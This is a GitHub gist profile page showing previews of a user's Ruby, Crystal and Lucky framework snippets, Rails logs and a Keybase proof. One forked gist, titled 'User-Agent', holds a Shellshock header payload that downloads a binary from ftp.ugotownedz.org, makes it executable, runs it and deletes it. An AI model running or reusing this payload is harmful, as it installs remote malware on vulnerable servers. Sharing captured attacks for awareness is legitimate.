Skip to content

Instantly share code, notes, and snippets.

View robacarp's full-sized avatar
🐢
Bacon//Pickle

Rob robacarp

🐢
Bacon//Pickle
View GitHub Profile
@robacarp
robacarp / broken_ruby_splat.rb
Last active January 29, 2016 18:52
Ruby splat in 2.2.2 is broken
# require 'byebug'
puts "ruby -v is #{RUBY_VERSION} but should be '2.2.2'" unless RUBY_VERSION == '2.2.2'
class Hash
def symbolize_keys
dup = self.class.new
each_key do |key|
dup[ key.to_sym ] = self[key]
end
@robacarp
robacarp / User-Agent
Created August 10, 2016 19:52 — forked from jschwietert/User-Agent
A nice little User-Agent header script I found...
() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;

Keybase proof

I hereby claim:

  • I am robacarp on github.
  • I am robacarp (https://keybase.io/robacarp) on keybase.
  • I have a public key ASAW13IwdtxWWOB4IS_hN0kYdVQVFP7PrS67uKnJC4Cshwo

To claim this, I am signing this object:

@robacarp
robacarp / aa_rails_logs.txt
Last active February 9, 2018 20:28
Undoctored logs for Rails vs Amber speed comparison
Started GET "/bookmarks" for 127.0.0.1 at 2018-01-11 10:48:37 -0700
Processing by BookmarksController#index as HTML
User Load (0.1ms) SELECT "users".* FROM "users" WHERE "users"."id" = $1 LIMIT $2 [["id", 1], ["LIMIT", 1]]
Rendering bookmarks/index.html.haml within layouts/application
Rendered bookmarks/_navbar.html.haml (3.7ms)
Bookmark Exists (0.4ms) SELECT 1 AS one FROM "bookmarks" LIMIT $1 OFFSET $2 [["LIMIT", 1], ["OFFSET", 0]]
Bookmark Load (0.4ms) SELECT "bookmarks".* FROM "bookmarks" ORDER BY "bookmarks"."created_at" ASC LIMIT $1 OFFSET $2 [["LIMIT", 25], ["OFFSET", 0]]
Webpage Load (0.4ms) SELECT "webpages".* FROM "webpages" WHERE "webpages"."id" IN ($1, $2, $3, $4, $5, $6) [["id", 1], ["id", 4], ["id", 5], ["id", 6], ["id", 7], ["id", 8]]
Tag Load (6.6ms) SELECT "tags".* FROM "tags" INNER JOIN "bookmarks_tags" ON "tags"."id" = "bookmarks_tags"."tag_id" WHERE "bookmarks_tags"."bookmark_id" = $1 [["bookmark_id", 5]]
Rendered bookmarks/_bookmark_list_item.html.haml (49.5ms)
#!/usr/bin/env bash
set -e
cd amber
make install
cd ..
hr() {
text=${1:-}
require "pg"
require "migrate"
require "../config/application"
command = ARGV[0]?
case command
when "migrate"
MigrationRunner.new.migrate
when "rollback"
##########################
# CONFIG
##########################
# select and require the appropriate database driver here:
require "pg"
# require "sqlite"
# require "mysql"
TABLE_NAME = "schema_version"
@robacarp
robacarp / stdin.cr
Created August 2, 2018 21:37
crystal single character read from stdin
print "Type something: "
entered_chars = [] of Char
STDIN.raw do
loop do
char = STDIN.read_char
next if char.nil?
module Auth::RedirectIfSignedIn
macro included
include Auth::SkipRequireSignIn
before redirect_if_signed_in
# Most notably, this is removed everywhere. All actions now depend on a current_user.
# unexpose current_user
end
# ...
# src/actions/browser_action.cr
abstract class BrowserAction < Lucky::Action
include Lucky::ProtectFromForgery
include Auth::SessionManagement
include Auth::SessionEnforcement
require_logged_in!
expose current_user